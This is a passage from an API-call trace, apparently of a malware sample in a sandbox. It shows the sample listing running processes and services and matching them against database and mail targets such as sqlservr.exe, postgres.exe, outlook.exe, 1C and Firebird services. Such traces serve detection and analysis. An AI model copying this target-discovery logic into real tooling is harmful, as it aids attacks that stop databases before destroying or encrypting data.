(lpString1="mysqld.exe", lpString2="System") returned -1 [0175.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0175.487] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.487] lstrlenW (lpString="smss.exe") returned 8 [0175.487] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0175.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0175.487] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0175.487] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0175.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0175.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0175.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0175.487] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.487] lstrlenW (lpString="csrss.exe") returned 9 [0175.488] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0175.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0175.488] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0175.488] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0175.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0175.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0175.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0175.488] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.488] lstrlenW (lpString="wininit.exe") returned 11 [0175.488] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0175.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0175.488] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0175.488] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0175.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0175.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0175.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0175.488] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.489] lstrlenW (lpString="csrss.exe") returned 9 [0175.489] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0175.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0175.489] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0175.489] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0175.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0175.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0175.489] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.489] lstrlenW (lpString="winlogon.exe") returned 12 [0175.489] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.490] lstrlenW (lpString="services.exe") returned 12 [0175.490] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.490] lstrlenW (lpString="lsass.exe") returned 9 [0175.490] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0175.490] lstrlenW (lpString="lsm.exe") returned 7 [0175.490] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.491] lstrlenW (lpString="svchost.exe") returned 11 [0175.491] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.491] lstrlenW (lpString="svchost.exe") returned 11 [0175.491] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.491] lstrlenW (lpString="svchost.exe") returned 11 [0175.491] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.492] lstrlenW (lpString="svchost.exe") returned 11 [0175.492] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.492] lstrlenW (lpString="svchost.exe") returned 11 [0175.492] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.492] lstrlenW (lpString="audiodg.exe") returned 11 [0175.492] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.493] lstrlenW (lpString="svchost.exe") returned 11 [0175.493] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.493] lstrlenW (lpString="explorer.exe") returned 12 [0175.493] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.493] lstrlenW (lpString="dwm.exe") returned 7 [0175.494] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.494] lstrlenW (lpString="svchost.exe") returned 11 [0175.494] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0175.494] lstrlenW (lpString="n.exe") returned 5 [0175.494] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.494] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.495] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.495] lstrlenW (lpString="svchost.exe") returned 11 [0175.495] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0175.495] lstrlenW (lpString="taskhost.exe") returned 12 [0175.495] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0175.496] lstrlenW (lpString="reader_sl.exe") returned 13 [0175.496] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0175.496] lstrlenW (lpString="n.exe") returned 5 [0175.496] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0175.496] lstrlenW (lpString="n.exe") returned 5 [0175.496] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0175.497] CloseHandle (hObject=0x1ac) returned 1 [0175.497] Sleep (dwMilliseconds=0x1f4) [0176.602] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0176.603] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0176.603] GetLastError () returned 0xea [0176.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0176.603] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0176.604] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0176.604] lstrlenW (lpString="Appinfo") returned 7 [0176.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0176.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0176.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0176.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0176.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0176.604] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0176.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0176.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0176.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0176.604] lstrlenW (lpString="AudioSrv") returned 8 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0176.605] lstrlenW (lpString="BFE") returned 3 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0176.605] lstrlenW (lpString="CryptSvc") returned 8 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0176.605] lstrlenW (lpString="CscService") returned 10 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0176.605] lstrlenW (lpString="DcomLaunch") returned 10 [0176.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.605] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0176.605] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0176.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0176.606] lstrlenW (lpString="Dhcp") returned 4 [0176.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0176.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0176.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0176.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0176.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0176.606] lstrlenW (lpString="Dnscache") returned 8 [0176.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0176.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0176.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0176.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0176.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0176.606] lstrlenW (lpString="DPS") returned 3 [0176.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0176.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0176.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0176.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0176.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0176.606] lstrlenW (lpString="eventlog") returned 8 [0176.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0176.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0176.606] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0176.606] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0176.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0176.606] lstrlenW (lpString="EventSystem") returned 11 [0176.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0176.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0176.606] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0176.606] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0176.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0176.606] lstrlenW (lpString="gpsvc") returned 5 [0176.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0176.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0176.607] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0176.607] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0176.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0176.607] lstrlenW (lpString="iphlpsvc") returned 8 [0176.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.607] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0176.607] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0176.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0176.607] lstrlenW (lpString="LanmanServer") returned 12 [0176.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0176.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0176.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0176.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0176.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0176.607] lstrlenW (lpString="LanmanWorkstation") returned 17 [0176.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0176.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0176.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0176.607] lstrlenW (lpString="lmhosts") returned 7 [0176.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0176.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0176.607] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0176.607] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0176.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0176.607] lstrlenW (lpString="MMCSS") returned 5 [0176.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0176.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0176.608] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0176.608] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0176.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0176.608] lstrlenW (lpString="MpsSvc") returned 6 [0176.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0176.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0176.608] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0176.608] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0176.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0176.608] lstrlenW (lpString="Netman") returned 6 [0176.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0176.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0176.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0176.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0176.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0176.608] lstrlenW (lpString="netprofm") returned 8 [0176.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0176.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0176.608] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0176.608] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0176.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0176.608] lstrlenW (lpString="NlaSvc") returned 6 [0176.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0176.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0176.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0176.608] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0176.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0176.609] lstrlenW (lpString="nsi") returned 3 [0176.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0176.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0176.609] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0176.609] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0176.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0176.609] lstrlenW (lpString="PcaSvc") returned 6 [0176.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0176.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0176.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0176.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0176.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0176.609] lstrlenW (lpString="PlugPlay") returned 8 [0176.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0176.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0176.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0176.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0176.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0176.609] lstrlenW (lpString="Power") returned 5 [0176.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0176.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0176.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0176.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0176.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0176.609] lstrlenW (lpString="ProfSvc") returned 7 [0176.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0176.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0176.609] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0176.609] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0176.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0176.610] lstrlenW (lpString="RpcEptMapper") returned 12 [0176.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0176.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0176.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0176.610] lstrlenW (lpString="RpcSs") returned 5 [0176.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0176.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 